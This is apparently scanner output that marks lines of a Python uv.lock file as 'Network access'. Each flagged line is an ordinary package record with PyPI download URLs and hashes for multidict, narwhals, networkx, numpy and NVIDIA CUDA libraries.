    { url = "https://files.pythonhosted.org/packages/c4/57/a0ed92b23f3a042c36bc4227b72b97eca803f5f1801c1ab77c8a212d455e/multidict-6.7.1-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:e954b24433c768ce78ab7929e84ccf3422e46deb45a4dc9f93438f82
  • Network accessline 779
    { url = "https://files.pythonhosted.org/packages/b5/66/02ec7ace29162e447f6382c495dc95826bf931d3818799bbef11e8f7df1a/multidict-6.7.1-cp313-cp313t-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:3bd231490fa7217cc83
  • Network accessline 780
    { url = "https://files.pythonhosted.org/packages/58/18/64f5a795e7677670e872673aca234162514696274597b3708b2c0d276cce/multidict-6.7.1-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:253282
  • Network accessline 781
    { url = "https://files.pythonhosted.org/packages/c8/ed/e192291dbbe51a8290c5686f482084d31bcd9d09af24f63358c3d42fd284/multidict-6.7.1-cp313-cp313t-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:0b4c48648
  • Network accessline 782
    { url = "https://files.pythonhosted.org/packages/1e/7e/3562a15a60cf747397e7f2180b0a11dc0c38d9175a650e75fa1b4d325e15/multidict-6.7.1-cp313-cp313t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:98bc62
  • Network accessline 783
    { url = "https://files.pythonhosted.org/packages/24/02/7d0f9eae92b5249bb50ac1595b295f10e263dd0078ebb55115c31e0eaccd/multidict-6.7.1-cp313-cp313t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:1b99af4d9eec
  • Network accessline 784
    { url = "https://files.pythonhosted.org/packages/00/e3/9b60ed9e23e64c73a5cde95269ef1330678e9c6e34dd4eb6b431b85b5a10/multidict-6.7.1-cp313-cp313t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:6aac4f16b
  • Network accessline 785
    { url = "https://files.pythonhosted.org/packages/3e/06/538e58a63ed5cfb0bd4517e346b91da32fde409d839720f664e9a4ae4f9d/multidict-6.7.1-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:21f830fe223215dffd51f538e78c172ed7c7f60c9b96a2bf05c4
  • Network accessline 786
    { url = "https://files.pythonhosted.org/packages/b2/2f/d743a3045a97c895d401e9bd29aaa09b94f5cbdf1bd561609e5a6c431c70/multidict-6.7.1-cp313-cp313t-musllinux_1_2_armv7l.whl", hash = "sha256:f5dd81c45b05518b9aa4da4aa74e1c93d715efa234fd3e8a179df
  • Network accessline 787
    { url = "https://files.pythonhosted.org/packages/38/83/5a325cac191ab28b63c52f14f1131f3b0a55ba3b9aa65a6d0bf2a9b921a0/multidict-6.7.1-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:eb304767bca2bb92fb9c5bd33cedc95baee5bb5f6c88e63706533a1
  • Network accessline 788
    { url = "https://files.pythonhosted.org/packages/20/1f/9d2327086bd15da2725ef6aae624208e2ef828ed99892b17f60c344e57ed/multidict-6.7.1-cp313-cp313t-musllinux_1_2_ppc64le.whl", hash = "sha256:c9035dde0f916702850ef66460bc4239d89d08df4d02023a5926
  • Network accessline 789
    { url = "https://files.pythonhosted.org/packages/e8/2c/2a1aa0280cf579d0f6eed8ee5211c4f1730bd7e06c636ba2ee6aafda302e/multidict-6.7.1-cp313-cp313t-musllinux_1_2_s390x.whl", hash = "sha256:af959b9beeb66c822380f222f0e0a1889331597e81f1ded7f374f3
  • Network accessline 790
    { url = "https://files.pythonhosted.org/packages/e5/03/7ca022ffc36c5a3f6e03b179a5ceb829be9da5783e6fe395f347c0794680/multidict-6.7.1-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:41f2952231456154ee479651491e94118229844dd7226541788be
  • Network accessline 791
    { url = "https://files.pythonhosted.org/packages/dc/1d/b31650eab6c5778aceed46ba735bd97f7c7d2f54b319fa916c0f96e7805b/multidict-6.7.1-cp313-cp313t-win32.whl", hash = "sha256:df9f19c28adcb40b6aae30bbaa1478c389efd50c28d541d76760199fc1037c32", s
  • Network accessline 792
    { url = "https://files.pythonhosted.org/packages/ac/5b/2d2d1d522e51285bd61b1e20df8f47ae1a9d80839db0b24ea783b3832832/multidict-6.7.1-cp313-cp313t-win_amd64.whl", hash = "sha256:d54ecf9f301853f2c5e802da559604b3e95bb7a3b01a9c295c6ee591b9882de8
  • Network accessline 793
    { url = "https://files.pythonhosted.org/packages/3d/a3/cc409ba012c83ca024a308516703cf339bdc4b696195644a7215a5164a24/multidict-6.7.1-cp313-cp313t-win_arm64.whl", hash = "sha256:5a37ca18e360377cfda1d62f5f382ff41f2b8c4ccb329ed974cc2e1643440118
  • Network accessline 794
    { url = "https://files.pythonhosted.org/packages/81/08/7036c080d7117f28a4af526d794aab6a84463126db031b007717c1a6676e/multidict-6.7.1-py3-none-any.whl", hash = "sha256:55d97cc6dae627efa6a6e548885712d4864b81110ac76fa4e534c03819fa4a56", size = 
  • Network accessline 798
    name = "narwhals" version = "2.25.0" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 799
    version = "2.25.0" source = { registry = "https://pypi.org/simple/" } sdist = { url = "https://files.pythonhosted.org/packages/6f/7b/6248dada39781db1ab3ebf08943080df0796098515a87f6f8696d14ec744/narwhals-2.25.0.tar.gz", hash = "sha256:62c036
  • Network accessline 800
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 801
    sdist = { url = "https://files.pythonhosted.org/packages/6f/7b/6248dada39781db1ab3ebf08943080df0796098515a87f6f8696d14ec744/narwhals-2.25.0.tar.gz", hash = "sha256:62c036c810662bf7820b7737077176313bc59350eeeefb808510f388c743e4b2", size = 67
  • Network accessline 802
    wheels = [     { url = "https://files.pythonhosted.org/packages/eb/dc/55481808fd70ef1567cf13540ffd4702af3f74b112e35427564b03f79c2d/narwhals-2.25.0-py3-none-any.whl", hash = "sha256:1f0f403e8c7e4463cde9bfe78b12fdd809e3ae3dda6d9b2f802934fb9c7
  • Network accessline 803
    { url = "https://files.pythonhosted.org/packages/eb/dc/55481808fd70ef1567cf13540ffd4702af3f74b112e35427564b03f79c2d/narwhals-2.25.0-py3-none-any.whl", hash = "sha256:1f0f403e8c7e4463cde9bfe78b12fdd809e3ae3dda6d9b2f802934fb9c7a6a8f", size = 
  • Network accessline 807
    name = "networkx" version = "3.6.1" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 808
    version = "3.6.1" source = { registry = "https://pypi.org/simple/" } sdist = { url = "https://files.pythonhosted.org/packages/6a/51/63fe664f3908c97be9d2e4f1158eb633317598cfa6e1fc14af5383f17512/networkx-3.6.1.tar.gz", hash = "sha256:26b7c357
  • Network accessline 809
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 810
    sdist = { url = "https://files.pythonhosted.org/packages/6a/51/63fe664f3908c97be9d2e4f1158eb633317598cfa6e1fc14af5383f17512/networkx-3.6.1.tar.gz", hash = "sha256:26b7c357accc0c8cde558ad486283728b65b6a95d85ee1cd66bafab4c8168509", size = 251
  • Network accessline 811
    wheels = [     { url = "https://files.pythonhosted.org/packages/9e/c9/b2622292ea83fbb4ec318f5b9ab867d0a28ab43c5717bb85b0a5f6b3b0a4/networkx-3.6.1-py3-none-any.whl", hash = "sha256:d47fbf302e7d9cbbb9e2555a0d267983d2aa476bac30e90dfbe5669bd57f
  • Network accessline 812
    { url = "https://files.pythonhosted.org/packages/9e/c9/b2622292ea83fbb4ec318f5b9ab867d0a28ab43c5717bb85b0a5f6b3b0a4/networkx-3.6.1-py3-none-any.whl", hash = "sha256:d47fbf302e7d9cbbb9e2555a0d267983d2aa476bac30e90dfbe5669bd57f3762", size = 2
  • Network accessline 816
    name = "numpy" version = "2.5.2" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 817
    version = "2.5.2" source = { registry = "https://pypi.org/simple/" } sdist = { url = "https://files.pythonhosted.org/packages/9a/80/db0b4559e57ec36362bedbb05530a87fafbcb6067708c946967a41d449e7/numpy-2.5.2.tar.gz", hash = "sha256:d482d171c40
  • Network accessline 818
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 819
    sdist = { url = "https://files.pythonhosted.org/packages/9a/80/db0b4559e57ec36362bedbb05530a87fafbcb6067708c946967a41d449e7/numpy-2.5.2.tar.gz", hash = "sha256:d482d171c406ae88c5b19cad3b6a1c4c5209f886ab74bc44c2c865c23f52d860", size = 207731
  • Network accessline 820
    wheels = [     { url = "https://files.pythonhosted.org/packages/f5/d2/6b24738a0ef4557d189b150046cd07823c50e4273e8aebd651222e24306f/numpy-2.5.2-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:8e4cb9a754c8a0c62eaa88273a5fba3391f4a610d1de
  • Network accessline 821
    { url = "https://files.pythonhosted.org/packages/f5/d2/6b24738a0ef4557d189b150046cd07823c50e4273e8aebd651222e24306f/numpy-2.5.2-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:8e4cb9a754c8a0c62eaa88273a5fba3391f4a610d1dee893c0755da31c0
  • Network accessline 822
    { url = "https://files.pythonhosted.org/packages/65/60/f2d208d366f263f39c6e69ed309290717aab41078b6d04c9be2a84fa2a07/numpy-2.5.2-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:52c808f96484f5571a5cc863775ce50247c17dfb3b0361f8ed6b4b0456f80
  • Network accessline 823
    { url = "https://files.pythonhosted.org/packages/3c/79/81e0bf24f4d020a2b1d5cd297a9f60c3f24eeb116f9bba5870443f7b6a4a/numpy-2.5.2-cp313-cp313-macosx_14_0_arm64.whl", hash = "sha256:29d81e97f668489cba8ebfd796b9bdd453525d35dd9e162e2daec94bf3fc7
  • Network accessline 824
    { url = "https://files.pythonhosted.org/packages/ba/cc/e3141cf06d1a8a2c7e107543fe1269c1d1af760d4d683c0794a4ee1127c2/numpy-2.5.2-cp313-cp313-macosx_14_0_x86_64.whl", hash = "sha256:afb3f0632d6b2e3ba04dbce8d1e48d321b369138b73830b5ca371a0e8d47
  • Network accessline 825
    { url = "https://files.pythonhosted.org/packages/29/f1/2a64a307d92c5d98f5255a4014eb43bb6103ee477087b61ecae44a3aa9b9/numpy-2.5.2-cp313-cp313-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:0aadf13b60048d501e05fa699efaf7734
  • Network accessline 826
    { url = "https://files.pythonhosted.org/packages/7b/44/59a1eb68e773c4098d107ef34a0dbdeca501d72ffcfbff9a7707343921ce/numpy-2.5.2-cp313-cp313-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:29b86ff8a6cc556b47ec6b64b194815cc80
  • Network accessline 827
    { url = "https://files.pythonhosted.org/packages/8a/4c/3e54d4ddbc359a1295f8b633e8106bcd4d7d4a206e82df051bdfb3058755/numpy-2.5.2-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:6950c4b7dd562453090548ba7f5da7e59f57f85663f15d5dcc60e2491
  • Network accessline 828
    { url = "https://files.pythonhosted.org/packages/f2/9f/02e371638ebf19b66d46231e4be52999e87f32d1961b113bc45656608b22/numpy-2.5.2-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:b9727f472d2f3888053b8a75ab0cb94745a9de224bb5846dbadc009210
  • Network accessline 829
    { url = "https://files.pythonhosted.org/packages/eb/ae/ad6645abc7a3510fe48e8ea1ab4598166f500057ef4ebf38bfad4f1577de/numpy-2.5.2-cp313-cp313-win32.whl", hash = "sha256:4f9744f9fbdcea0bc552e8f19e1f141f811a3f9bc2be2cc6e86d982cab23e3f4", size =
  • Network accessline 830
    { url = "https://files.pythonhosted.org/packages/15/20/f3489f86d81ea460b2bcdceaed094142ca6579f6be0ec527b781d39afe68/numpy-2.5.2-cp313-cp313-win_amd64.whl", hash = "sha256:85aaccb24182c25df891ad0ec333585967e115269d5f1b17f2c9ae005bc96657", si
  • Network accessline 831
    { url = "https://files.pythonhosted.org/packages/d5/21/35b31dde1b283b79de828b80f876afd8c94e28fe1e9c375f89e261cc4c0d/numpy-2.5.2-cp313-cp313-win_arm64.whl", hash = "sha256:bd68ece1553d2023c09a4226d9e41c586ad2d20594d1a456186c33513d2cb3f2", si
  • Network accessline 835
    name = "nvidia-cublas" version = "13.1.1.3" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 836
    version = "13.1.1.3" source = { registry = "https://pypi.org/simple/" } dependencies = [
  • Network accessline 837
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 840
    ] wheels = [     { url = "https://files.pythonhosted.org/packages/a7/a1/0bd24ee8c8d03adac032fd2909426a00c88f8c57961b1277ded97f91119f/nvidia_cublas-13.1.1.3-py3-none-manylinux_2_27_aarch64.whl", hash = "sha256:b7a210458267ac818974c53038fbec2
  • Network accessline 841
    wheels = [     { url = "https://files.pythonhosted.org/packages/a7/a1/0bd24ee8c8d03adac032fd2909426a00c88f8c57961b1277ded97f91119f/nvidia_cublas-13.1.1.3-py3-none-manylinux_2_27_aarch64.whl", hash = "sha256:b7a210458267ac818974c53038fbec2e9
  • Network accessline 842
    { url = "https://files.pythonhosted.org/packages/a7/a1/0bd24ee8c8d03adac032fd2909426a00c88f8c57961b1277ded97f91119f/nvidia_cublas-13.1.1.3-py3-none-manylinux_2_27_aarch64.whl", hash = "sha256:b7a210458267ac818974c53038fbec2e969d5c99f305ab15
  • Network accessline 843
    { url = "https://files.pythonhosted.org/packages/3b/cd/154ca20c38269e05eff77c1464e6c1da89f50a6390b565e9d82e06bc11e1/nvidia_cublas-13.1.1.3-py3-none-manylinux_2_27_x86_64.whl", hash = "sha256:37936a16db8fe4ac1f065c2139360608a543a09275cb1a1af
  • Network accessline 847
    name = "nvidia-cuda-cupti" version = "13.0.85" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 848
    version = "13.0.85" source = { registry = "https://pypi.org/simple/" } wheels = [
  • Network accessline 849
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 850
    wheels = [     { url = "https://files.pythonhosted.org/packages/2a/2a/80353b103fc20ce05ef51e928daed4b6015db4aaa9162ed0997090fe2250/nvidia_cuda_cupti-13.0.85-py3-none-manylinux_2_25_aarch64.whl", hash = "sha256:796bd679890ee55fb14a94629b698b
  • Network accessline 851
    { url = "https://files.pythonhosted.org/packages/2a/2a/80353b103fc20ce05ef51e928daed4b6015db4aaa9162ed0997090fe2250/nvidia_cuda_cupti-13.0.85-py3-none-manylinux_2_25_aarch64.whl", hash = "sha256:796bd679890ee55fb14a94629b698b6db54bcfd833d39
  • Network accessline 852
    { url = "https://files.pythonhosted.org/packages/33/6d/737d164b4837a9bbd202f5ae3078975f0525a55730fe871d8ed4e3b952b0/nvidia_cuda_cupti-13.0.85-py3-none-manylinux_2_25_x86_64.whl", hash = "sha256:4eb01c08e859bf924d222250d2e8f8b8ff6d3db4721288
  • Network accessline 856
    name = "nvidia-cuda-nvrtc" version = "13.0.88" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 857
    version = "13.0.88" source = { registry = "https://pypi.org/simple/" } wheels = [
  • Network accessline 858
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 859
    wheels = [     { url = "https://files.pythonhosted.org/packages/c3/68/483a78f5e8f31b08fb1bb671559968c0ca3a065ac7acabfc7cee55214fd6/nvidia_cuda_nvrtc-13.0.88-py3-none-manylinux2010_x86_64.manylinux_2_12_x86_64.whl", hash = "sha256:ad9b6d2ead
  • Network accessline 860
    { url = "https://files.pythonhosted.org/packages/c3/68/483a78f5e8f31b08fb1bb671559968c0ca3a065ac7acabfc7cee55214fd6/nvidia_cuda_nvrtc-13.0.88-py3-none-manylinux2010_x86_64.manylinux_2_12_x86_64.whl", hash = "sha256:ad9b6d2ead2435f11cbb68688
  • Network accessline 861
    { url = "https://files.pythonhosted.org/packages/b7/dc/6bb80850e0b7edd6588d560758f17e0550893a1feaf436807d64d2da040f/nvidia_cuda_nvrtc-13.0.88-py3-none-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:d27f20a0ca67a4bb34268a5
  • Network accessline 865
    name = "nvidia-cuda-runtime" version = "13.0.96" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 866
    version = "13.0.96" source = { registry = "https://pypi.org/simple/" } wheels = [
  • Network accessline 867
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 868
    wheels = [     { url = "https://files.pythonhosted.org/packages/87/4f/17d7b9b8e285199c58ce28e31b5c5bbaa4d8271af06a89b6405258245de2/nvidia_cuda_runtime-13.0.96-py3-none-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:ef9bcb
  • Network accessline 869
    { url = "https://files.pythonhosted.org/packages/87/4f/17d7b9b8e285199c58ce28e31b5c5bbaa4d8271af06a89b6405258245de2/nvidia_cuda_runtime-13.0.96-py3-none-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:ef9bcbe90493a2b9d810e
  • Network accessline 870
    { url = "https://files.pythonhosted.org/packages/2e/24/d1558f3b68b1d26e706813b1d10aa1d785e4698c425af8db8edc3dced472/nvidia_cuda_runtime-13.0.96-py3-none-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:7f82250d7782aa23b6cfe76
  • Network accessline 874
    name = "nvidia-cudnn-cu13" version = "9.20.0.48" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 875
    version = "9.20.0.48" source = { registry = "https://pypi.org/simple/" } dependencies = [
  • Network accessline 876
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 879
    ] wheels = [     { url = "https://files.pythonhosted.org/packages/56/c5/83384d846b2fd17c44bd499b36c75a45ed4f095fbbb2252294e89cea5c5c/nvidia_cudnn_cu13-9.20.0.48-py3-none-manylinux_2_27_aarch64.whl", hash = "sha256:e31454ae00094b0c55319d9d15
  • Network accessline 880
    wheels = [     { url = "https://files.pythonhosted.org/packages/56/c5/83384d846b2fd17c44bd499b36c75a45ed4f095fbbb2252294e89cea5c5c/nvidia_cudnn_cu13-9.20.0.48-py3-none-manylinux_2_27_aarch64.whl", hash = "sha256:e31454ae00094b0c55319d9d15b6
  • Network accessline 881
    { url = "https://files.pythonhosted.org/packages/56/c5/83384d846b2fd17c44bd499b36c75a45ed4f095fbbb2252294e89cea5c5c/nvidia_cudnn_cu13-9.20.0.48-py3-none-manylinux_2_27_aarch64.whl", hash = "sha256:e31454ae00094b0c55319d9d15b6fa2fc50a9e1c0f5
  • Network accessline 882
    { url = "https://files.pythonhosted.org/packages/6e/5e/edb9c0ae051602c3ccaffe424256463636d639e27d7f302dde9975ef9e7a/nvidia_cudnn_cu13-9.20.0.48-py3-none-manylinux_2_27_x86_64.whl", hash = "sha256:0c45dd8eeb50b603f07995b1b300c62ffe6a1980482b
  • Network accessline 886
    name = "nvidia-cufft" version = "12.0.0.61" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 887
    version = "12.0.0.61" source = { registry = "https://pypi.org/simple/" } dependencies = [
  • Network accessline 888
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 891
    ] wheels = [     { url = "https://files.pythonhosted.org/packages/8b/ae/f417a75c0259e85c1d2f83ca4e960289a5f814ed0cea74d18c353d3e989d/nvidia_cufft-12.0.0.61-py3-none-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:2708c852e
  • Network accessline 892
    wheels = [     { url = "https://files.pythonhosted.org/packages/8b/ae/f417a75c0259e85c1d2f83ca4e960289a5f814ed0cea74d18c353d3e989d/nvidia_cufft-12.0.0.61-py3-none-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:2708c852ef8
  • Network accessline 893
    { url = "https://files.pythonhosted.org/packages/8b/ae/f417a75c0259e85c1d2f83ca4e960289a5f814ed0cea74d18c353d3e989d/nvidia_cufft-12.0.0.61-py3-none-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:2708c852ef8cd89d1d2068bdbe
  • Network accessline 894
    { url = "https://files.pythonhosted.org/packages/a8/2f/7b57e29836ea8714f81e9898409196f47d772d5ddedddf1592eadb8ab743/nvidia_cufft-12.0.0.61-py3-none-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:6c44f692dce8fd5ffd3e3df134b6
  • Network accessline 898
    name = "nvidia-cufile" version = "1.15.1.6" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 899
    version = "1.15.1.6" source = { registry = "https://pypi.org/simple/" } wheels = [
  • Network accessline 900
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 901
    wheels = [     { url = "https://files.pythonhosted.org/packages/3f/70/4f193de89a48b71714e74602ee14d04e4019ad36a5a9f20c425776e72cd6/nvidia_cufile-1.15.1.6-py3-none-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:08a3ecefae5a0
  • Network accessline 902
    { url = "https://files.pythonhosted.org/packages/3f/70/4f193de89a48b71714e74602ee14d04e4019ad36a5a9f20c425776e72cd6/nvidia_cufile-1.15.1.6-py3-none-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:08a3ecefae5a01c7f5117351c64f
  • Network accessline 903
    { url = "https://files.pythonhosted.org/packages/ab/73/cc4a14c9813a8a0d509417cf5f4bdaba76e924d58beb9864f5a7baceefbf/nvidia_cufile-1.15.1.6-py3-none-manylinux_2_27_aarch64.whl", hash = "sha256:bdc0deedc61f548bddf7733bdc216456c2fdb101d020e1ab
  • Network accessline 907
    name = "nvidia-curand" version = "10.4.0.35" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 908
    version = "10.4.0.35" source = { registry = "https://pypi.org/simple/" } wheels = [
  • Network accessline 909
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 910
    wheels = [     { url = "https://files.pythonhosted.org/packages/1e/72/7c2ae24fb6b63a32e6ae5d241cc65263ea18d08802aaae087d9f013335a2/nvidia_curand-10.4.0.35-py3-none-manylinux_2_27_aarch64.whl", hash = "sha256:133df5a7509c3e292aaa2b477afd0194
  • Network accessline 911
    { url = "https://files.pythonhosted.org/packages/1e/72/7c2ae24fb6b63a32e6ae5d241cc65263ea18d08802aaae087d9f013335a2/nvidia_curand-10.4.0.35-py3-none-manylinux_2_27_aarch64.whl", hash = "sha256:133df5a7509c3e292aaa2b477afd0194f06ce4ea24d714d
  • Network accessline 912
    { url = "https://files.pythonhosted.org/packages/a5/9f/be0a41ca4a4917abf5cb9ae0daff1a6060cc5de950aec0396de9f3b52bc5/nvidia_curand-10.4.0.35-py3-none-manylinux_2_27_x86_64.whl", hash = "sha256:1aee33a5da6e1db083fe2b90082def8915f30f3248d5896b
  • Network accessline 916
    name = "nvidia-cusolver" version = "12.0.4.66" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 917
    version = "12.0.4.66" source = { registry = "https://pypi.org/simple/" } dependencies = [
  • Network accessline 918
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 923
    ] wheels = [     { url = "https://files.pythonhosted.org/packages/c8/c3/b30c9e935fc01e3da443ec0116ed1b2a009bb867f5324d3f2d7e533e776b/nvidia_cusolver-12.0.4.66-py3-none-manylinux_2_27_aarch64.whl", hash = "sha256:02c2457eaa9e39de20f880f4bd88
  • Network accessline 924
    wheels = [     { url = "https://files.pythonhosted.org/packages/c8/c3/b30c9e935fc01e3da443ec0116ed1b2a009bb867f5324d3f2d7e533e776b/nvidia_cusolver-12.0.4.66-py3-none-manylinux_2_27_aarch64.whl", hash = "sha256:02c2457eaa9e39de20f880f4bd8820
  • Network accessline 925
    { url = "https://files.pythonhosted.org/packages/c8/c3/b30c9e935fc01e3da443ec0116ed1b2a009bb867f5324d3f2d7e533e776b/nvidia_cusolver-12.0.4.66-py3-none-manylinux_2_27_aarch64.whl", hash = "sha256:02c2457eaa9e39de20f880f4bd8820e6a1cfb9f9a34f8
  • Network accessline 926
    { url = "https://files.pythonhosted.org/packages/5f/67/cba3777620cdacb99102da4042883709c41c709f4b6323c10781a9c3aa34/nvidia_cusolver-12.0.4.66-py3-none-manylinux_2_27_x86_64.whl", hash = "sha256:0a759da5dea5c0ea10fd307de75cdeb59e7ea4fcb8add0
  • Network accessline 930
    name = "nvidia-cusparse" version = "12.6.3.3" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 931
    version = "12.6.3.3" source = { registry = "https://pypi.org/simple/" } dependencies = [
  • Network accessline 932
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 935
    ] wheels = [     { url = "https://files.pythonhosted.org/packages/f8/94/5c26f33738ae35276672f12615a64bd008ed5be6d1ebcb23579285d960a9/nvidia_cusparse-12.6.3.3-py3-none-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:80bcc46
  • Network accessline 936
    wheels = [     { url = "https://files.pythonhosted.org/packages/f8/94/5c26f33738ae35276672f12615a64bd008ed5be6d1ebcb23579285d960a9/nvidia_cusparse-12.6.3.3-py3-none-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:80bcc4662
  • Network accessline 937
    { url = "https://files.pythonhosted.org/packages/f8/94/5c26f33738ae35276672f12615a64bd008ed5be6d1ebcb23579285d960a9/nvidia_cusparse-12.6.3.3-py3-none-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:80bcc4662f23f1054ee334a1
  • Network accessline 938
    { url = "https://files.pythonhosted.org/packages/fa/18/623c77619c31d62efd55302939756966f3ecc8d724a14dab2b75f1508850/nvidia_cusparse-12.6.3.3-py3-none-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:2b3c89c88d01ee0e477cb7f82e
  • Network accessline 942
    name = "nvidia-cusparselt-cu13" version = "0.8.1" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 943
    version = "0.8.1" source = { registry = "https://pypi.org/simple/" } wheels = [
  • Network accessline 944
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 945
    wheels = [     { url = "https://files.pythonhosted.org/packages/46/e1/cdc1797eadf82d3a9a575a19b33fdc871a97edbec42c00b5b5e914f4aff4/nvidia_cusparselt_cu13-0.8.1-py3-none-manylinux2014_aarch64.whl", hash = "sha256:4dca476c50bf4780d46cd0bfbd82
  • Network accessline 946
    { url = "https://files.pythonhosted.org/packages/46/e1/cdc1797eadf82d3a9a575a19b33fdc871a97edbec42c00b5b5e914f4aff4/nvidia_cusparselt_cu13-0.8.1-py3-none-manylinux2014_aarch64.whl", hash = "sha256:4dca476c50bf4780d46cd0bfbd82e2bc10a08e4fef7
  • Network accessline 947
    { url = "https://files.pythonhosted.org/packages/34/7d/2661f2fb3ac4302f3a246f5fc030213ac60c1fe0bce84f9783dbd831dbb7/nvidia_cusparselt_cu13-0.8.1-py3-none-manylinux2014_x86_64.whl", hash = "sha256:786ce87568c303fadb5afcc7102d454cd3040d75f6f8
  • Network accessline 951
    name = "nvidia-nccl-cu13" version = "2.29.7" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 952
    version = "2.29.7" source = { registry = "https://pypi.org/simple/" } wheels = [
  • Network accessline 953
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 954
    wheels = [     { url = "https://files.pythonhosted.org/packages/72/0d/daf50d44177ee0cbc7ff0a0c91eb5ff676c82be42f9a970bc7597f440c3a/nvidia_nccl_cu13-2.29.7-py3-none-manylinux_2_18_aarch64.whl", hash = "sha256:674a12383e3c38a1bcccae7d4f3633b3
  • Network accessline 955
    { url = "https://files.pythonhosted.org/packages/72/0d/daf50d44177ee0cbc7ff0a0c91eb5ff676c82be42f9a970bc7597f440c3a/nvidia_nccl_cu13-2.29.7-py3-none-manylinux_2_18_aarch64.whl", hash = "sha256:674a12383e3c38a1bcccae7d4f3633b37852230b6047883
  • Network accessline 956
    { url = "https://files.pythonhosted.org/packages/67/f4/58e4e91b6919367c7aafb8e36fce9aad1a3047e536bf7e2fd560927d3a4c/nvidia_nccl_cu13-2.29.7-py3-none-manylinux_2_18_x86_64.whl", hash = "sha256:edd81538446786ec3b73972543e53bb43bcaf0bfc8ef76cb
  • Network accessline 960
    name = "nvidia-nvjitlink" version = "13.3.33" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 961
    version = "13.3.33" source = { registry = "https://pypi.org/simple/" } wheels = [
  • Network accessline 962
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 963
    wheels = [     { url = "https://files.pythonhosted.org/packages/f0/ee/580ca6f29dcab0221db8706badca1bbbb084f1975c4d4e83329c3a7e31f0/nvidia_nvjitlink-13.3.33-py3-none-manylinux2010_x86_64.manylinux_2_12_x86_64.whl", hash = "sha256:26a6de7fb4c
  • Network accessline 964
    { url = "https://files.pythonhosted.org/packages/f0/ee/580ca6f29dcab0221db8706badca1bbbb084f1975c4d4e83329c3a7e31f0/nvidia_nvjitlink-13.3.33-py3-none-manylinux2010_x86_64.manylinux_2_12_x86_64.whl", hash = "sha256:26a6de7fb4c8fdaa7703d3dad7
  • Network accessline 965
    { url = "https://files.pythonhosted.org/packages/69/30/45414e35ff2eee7db3da037e5707037ccf9d2b5218ffbdb055ea4d5aa98a/nvidia_nvjitlink-13.3.33-py3-none-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:ce48b37dfeb3cb1eae4cf85a
  • Network accessline 969
    name = "nvidia-nvshmem-cu13" version = "3.4.5" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 970
    version = "3.4.5" source = { registry = "https://pypi.org/simple/" } wheels = [
  • Network accessline 971
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 972
